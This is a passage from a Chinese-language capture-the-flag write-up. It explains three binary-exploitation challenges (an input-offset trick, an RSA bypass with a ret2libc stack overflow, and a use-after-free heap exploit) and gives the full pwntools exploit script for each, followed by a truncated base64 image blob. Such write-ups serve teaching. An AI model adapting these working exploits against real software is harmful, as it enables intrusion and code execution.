payload3='a'*24+p64(canary)+'a'*8+pop_rdi_ret+p64(binsh_addr)+p64(system_addr) p.sendlineafter('story!\n',payload3) p.interactive() ``` ## 0X06 dizzy 尝试逆开文件观察程序逻辑，可以发现首先输入被利用scanf读到一个数组里面，解析为int类型，然后对每一个数加上了114514这个数进行偏移，最后将读入的这个数组作为字符串与“PvvN| 1S S0 GREAT!”进行比较，如果相同就可以获取shell，则编写python脚本，对该字符串进行反向操作即可，下面是exp ``` from pwn import * sh = process('./dizzy') #sh = remote('x', 'xx') pattern = b"PvvN| 1S S0 GREAT!;/bin/sh\0" cnt = 0 payload = b'' buf = b'' for pat in pattern: #print(buf) buf += bytes([pat]) if len(buf) == 4: cnt += 1 sh.sendline(bytes(str(u32(buf) - 114514), encoding = 'utf-8')) print(u32(buf)-114514) # print(hex(u32(buf))) buf = b'' while len(buf) < 4: buf += b'\0' sh.sendline(bytes(str(u32(buf) - 114514), encoding = 'utf-8')) print(u32(buf) - 114514) #print(hex(u32(buf))) while cnt < 19: print(0-114514) sh.sendline(bytes(str(0 - 114514), encoding = 'utf-8')) cnt += 1 sh.interactive() ``` ## 0X07 encryptde stack 简单的栈溢出，不过前面加上了RSA加密，提示需要输入一个加密后的值，于是到程序中找相关逻辑，其中可以发现在0x00400a70地址处有一个求逆元的函数，可以联想到RSA，每次程序生成一个随机数，输入的值加密后需要等于随机数，观察可得RSA的两个参数E、N分别为65537和94576960329497431，于是尝试分解N可以得出私钥，对m用私钥进行加密即可过掉开头的身份验证，然后就是使用return2libc的栈溢出手段即可拿到shell，下面为exp ``` from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['tmux', 'splitw', '-v'] elf = ELF('./encrypted_stack') pop_rdi_addr = 0x40095a vlun_addr = 0x40093a N = 94576960329497431 p = 261571747 q = 361571773 phi = (p-1)*(q-1) d = 26375682325297625 def powmod(a, b, m): if a == 0: return 0 if b == 0: return 1 res = powmod(a,b//2,m) res *= res res %= m if b&1: res *= a res %= m return res def ans(sh): sh.recvuntil("it\n") for _ in range(20): c = int(sh.recvline()) m = powmod(c, d, N) sh.sendline(str(m)) sh.recvline() def leak(sh, addr, presize): sh.recvuntil("name:\n") payload = flat(b'a' * presize, p64(pop_rdi_addr), p64(addr), p64(elf.plt['puts']), p64(vlun_addr)) sh.sendline(payload) leaked = sh.recvuntil('\n')[:-1] while len(leaked) < 8: leaked += b'\x00' return u64(leaked) sh = remote('127.0.0.1', '8888') ans(sh) libc_main_addr = leak(sh, elf.got['__libc_start_main'], 72) print("WE GOT LIBC_MAIN_ADDR") print(hex(libc_main_addr)) obj = LibcSearcher("__libc_start_main", libc_main_addr) libc_main_offset = obj.dump('__libc_start_main') system_offset = obj.dump('system') sh_offset = obj.dump('str_bin_sh') base_addr = libc_main_addr - libc_main_offset system_addr = system_offset + base_addr sh_addr = sh_offset + base_addr payload = flat(b'a' * 72, p64(pop_rdi_addr), p64(sh_addr), p64(system_addr)) sh.sendline(payload) sh.interactive() ``` ## 0x08 YDSneedGirlfriend 本次比赛的唯一一道堆题,改编自hitcon training的uaf,这道题是我当初学习pwn堆题的第一题,非常简单,因此出本题是希望18,19级同学能有所收获,没想到本校没人做出QAQ **考点:uaf** 漏洞位置: ``` unsigned __int64 del_girlfriend() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 >= 0 && v1 < count ) { if ( girlfriendlist[v1] ) { free(*((void **)girlfriendlist[v1] + 1)); free(girlfriendlist[v1]); puts("Success"); } } else { puts("Out of bound!"); } return __readfsqword(0x28u) ^ v3; } ``` 可以看到我们在free一个chunk的时候并未给这个chunk置NULL,从而导致UAF漏洞的发生 通过逆向可以看出girlfriend结构体为: ``` struct girlfriend { void (*func)(); char *buf ; }; ``` func的作用就是打印名字 并且程序给出了后门函数backdoor,我们只需要利用uaf漏洞将func原本指向的函数指向backdoor函数,之后调用即可 payload如下: ``` from pwn import * p=process('./girlfriend2') #p=remote('222.186.56.247',8131) elf=ELF('./girlfriend') #context.terminal=['tmux','splitw','w'] backdoor=elf.symbols['backdoor'] sys=elf.symbols['system'] def add(size,name): p.recvuntil(':') p.sendline('1') p.recvuntil(':') p.sendline(str(size)) p.recvuntil(':') p.sendline(name) def dele(index): p.recvuntil(':') p.sendline('2') p.recvuntil(':') p.sendline(str(index)) def prin(index): p.recvuntil(':') p.sendline('3') p.recvuntil(':') p.sendline(str(index)) add(32,'aaa') add(32,'bbb') add(32,'ccc') dele(0) dele(1) add(24,p64(backdoor)) prin(0) p.interactive() ``` [modtogether]:data:image/jpeg;base64,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